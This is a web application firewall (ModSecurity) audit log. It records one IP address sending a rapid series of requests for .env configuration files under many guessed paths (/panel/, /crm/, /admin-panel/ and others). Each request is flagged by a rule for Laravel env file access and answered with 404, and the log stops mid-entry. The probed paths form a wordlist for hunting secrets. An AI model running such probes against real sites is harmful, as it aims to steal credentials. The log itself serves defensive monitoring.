--a3262511-Z--
--b5416f5d-A--
[13/Sep/2026:05:35:11.985850 +0300] aqYL30wu1RSkptiiNIXtpwAAAIE 34.175.231.24 44646 127.0.0.1 7081
--b5416f5d-B--
GET /panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b5416f5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b5416f5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/panel/.env"] [unique_id "aqYL30wu1RSkptiiNIXtpwAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266911862811 123110 (- - -)
Stopwatch2: 1789266911862811 123110; combined=4584, p1=248, p2=4273, p3=0, p4=0, p5=63, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b5416f5d-Z--
--0892db53-A--
[13/Sep/2026:05:35:13.808378 +0300] aqYL4WM7dE9KgIIOpQhdugAAANM 34.175.231.24 44656 127.0.0.1 7081
--0892db53-B--
GET /crm/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--0892db53-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--0892db53-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/crm/.env"] [unique_id "aqYL4WM7dE9KgIIOpQhdugAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266913693039 115395 (- - -)
Stopwatch2: 1789266913693039 115395; combined=4442, p1=248, p2=4134, p3=0, p4=0, p5=60, sr=113, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0892db53-Z--
--34ec640a-A--
[13/Sep/2026:05:35:14.741096 +0300] aqYL4mM7dE9KgIIOpQhduwAAANY 34.175.231.24 44672 127.0.0.1 7081
--34ec640a-B--
GET /erp/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--34ec640a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--34ec640a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/erp/.env"] [unique_id "aqYL4mM7dE9KgIIOpQhduwAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266914614375 126830 (- - -)
Stopwatch2: 1789266914614375 126830; combined=4918, p1=287, p2=4543, p3=0, p4=0, p5=87, sr=112, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34ec640a-Z--
--b1d63940-A--
[13/Sep/2026:05:35:16.032071 +0300] aqYL42M7dE9KgIIOpQhdvQAAAMs 34.175.231.24 39944 127.0.0.1 7081
--b1d63940-B--
GET /shop/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b1d63940-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b1d63940-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/shop/.env"] [unique_id "aqYL42M7dE9KgIIOpQhdvQAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266915910133 122008 (- - -)
Stopwatch2: 1789266915910133 122008; combined=4201, p1=237, p2=3900, p3=0, p4=0, p5=64, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b1d63940-Z--
--edbff864-A--
[13/Sep/2026:05:35:17.661909 +0300] aqYL5Uwu1RSkptiiNIXtqQAAAIY 34.175.231.24 39948 127.0.0.1 7081
--edbff864-B--
GET /store/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--edbff864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--edbff864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/store/.env"] [unique_id "aqYL5Uwu1RSkptiiNIXtqQAAAIY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266917529539 132443 (- - -)
Stopwatch2: 1789266917529539 132443; combined=5723, p1=1044, p2=4613, p3=0, p4=0, p5=66, sr=119, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--edbff864-Z--
--a7311267-A--
[13/Sep/2026:05:35:19.331935 +0300] aqYL52M7dE9KgIIOpQhdvgAAAME 34.175.231.24 39956 127.0.0.1 7081
--a7311267-B--
GET /saas/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--a7311267-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a7311267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/saas/.env"] [unique_id "aqYL52M7dE9KgIIOpQhdvgAAAME"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266919208642 123348 (- - -)
Stopwatch2: 1789266919208642 123348; combined=4126, p1=270, p2=3804, p3=0, p4=0, p5=52, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a7311267-Z--
--8cb8bf6b-A--
[13/Sep/2026:05:35:21.063812 +0300] aqYL6GM7dE9KgIIOpQhdwAAAANI 34.175.231.24 39966 127.0.0.1 7081
--8cb8bf6b-B--
GET /client/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--8cb8bf6b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8cb8bf6b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/client/.env"] [unique_id "aqYL6GM7dE9KgIIOpQhdwAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266920936034 127851 (- - -)
Stopwatch2: 1789266920936034 127851; combined=7889, p1=456, p2=7303, p3=0, p4=0, p5=130, sr=179, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8cb8bf6b-Z--
--f4511d44-A--
[13/Sep/2026:05:35:22.571658 +0300] aqYL6mM7dE9KgIIOpQhdwQAAANg 34.175.231.24 39982 127.0.0.1 7081
--f4511d44-B--
GET /project/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--f4511d44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f4511d44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/project/.env"] [unique_id "aqYL6mM7dE9KgIIOpQhdwQAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266922459068 112851 (- - -)
Stopwatch2: 1789266922459068 112851; combined=4145, p1=211, p2=3879, p3=0, p4=0, p5=55, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f4511d44-Z--
--62f8e060-A--
[13/Sep/2026:05:35:24.492059 +0300] aqYL7GM7dE9KgIIOpQhdwgAAANQ 34.175.231.24 40012 127.0.0.1 7081
--62f8e060-B--
GET /admin-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--62f8e060-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--62f8e060-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/admin-panel/.env"] [unique_id "aqYL7GM7dE9KgIIOpQhdwgAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266924367127 124996 (- - -)
Stopwatch2: 1789266924367127 124996; combined=4735, p1=212, p2=4470, p3=0, p4=0, p5=53, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62f8e060-Z--
--e205470b-A--
[13/Sep/2026:05:35:26.371538 +0300] aqYL7kwu1RSkptiiNIXtrAAAAI8 34.175.231.24 57848 127.0.0.1 7081
--e205470b-B--
GET /control-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--e205470b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e205470b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/control-panel/.env"] [unique_id "aqYL7kwu1RSkptiiNIXtrAAAAI8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266926252946 118647 (- - -)
Stopwatch2: 1789266926252946 118647; combined=4480, p1=284, p2=4140, p3=0, p4=0, p5=56, sr=93, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e205470b-Z--
--5021df78-A--
[13/Sep/2026:05:35:27.759787 +0300] aqYL72M7dE9KgIIOpQhdwwAAAM0 34.175.231.24 57866 127.0.0.1 7081
--5021df78-B--
GET /user-panel/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--5021df78-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--5021df78-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/user-panel/.env"] [unique_id "aqYL72M7dE9KgIIOpQhdwwAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266927643170 116682 (- - -)
Stopwatch2: 1789266927643170 116682; combined=4193, p1=215, p2=3926, p3=0, p4=0, p5=52, sr=84, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5021df78-Z--
--80f47a43-A--
[13/Sep/2026:05:35:29.302321 +0300] aqYL8WM7dE9KgIIOpQhdxAAAANA 34.175.231.24 57874 127.0.0.1 7081
--80f47a43-B--
GET /node/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--80f47a43-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--80f47a43-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/node/.env"] [unique_id "aqYL8WM7dE9KgIIOpQhdxAAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266929184316 118084 (- - -)
Stopwatch2: 1789266929184316 118084; combined=4400, p1=343, p2=3984, p3=0, p4=0, p5=73, sr=155, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--80f47a43-Z--
--b35eb158-A--
[13/Sep/2026:05:35:31.273705 +0300] aqYL80wu1RSkptiiNIXtrgAAAIs 34.175.231.24 57882 127.0.0.1 7081
--b35eb158-B--
GET /express/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--b35eb158-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--b35eb158-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/express/.env"] [unique_id "aqYL80wu1RSkptiiNIXtrgAAAIs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266931156427 117333 (- - -)
Stopwatch2: 1789266931156427 117333; combined=4179, p1=239, p2=3824, p3=0, p4=0, p5=116, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b35eb158-Z--
--25b08149-A--
[13/Sep/2026:05:35:33.393320 +0300] aqYL9Uwu1RSkptiiNIXtsAAAAJI 34.175.231.24 57894 127.0.0.1 7081
--25b08149-B--
GET /next/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D
--25b08149-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--25b08149-H--
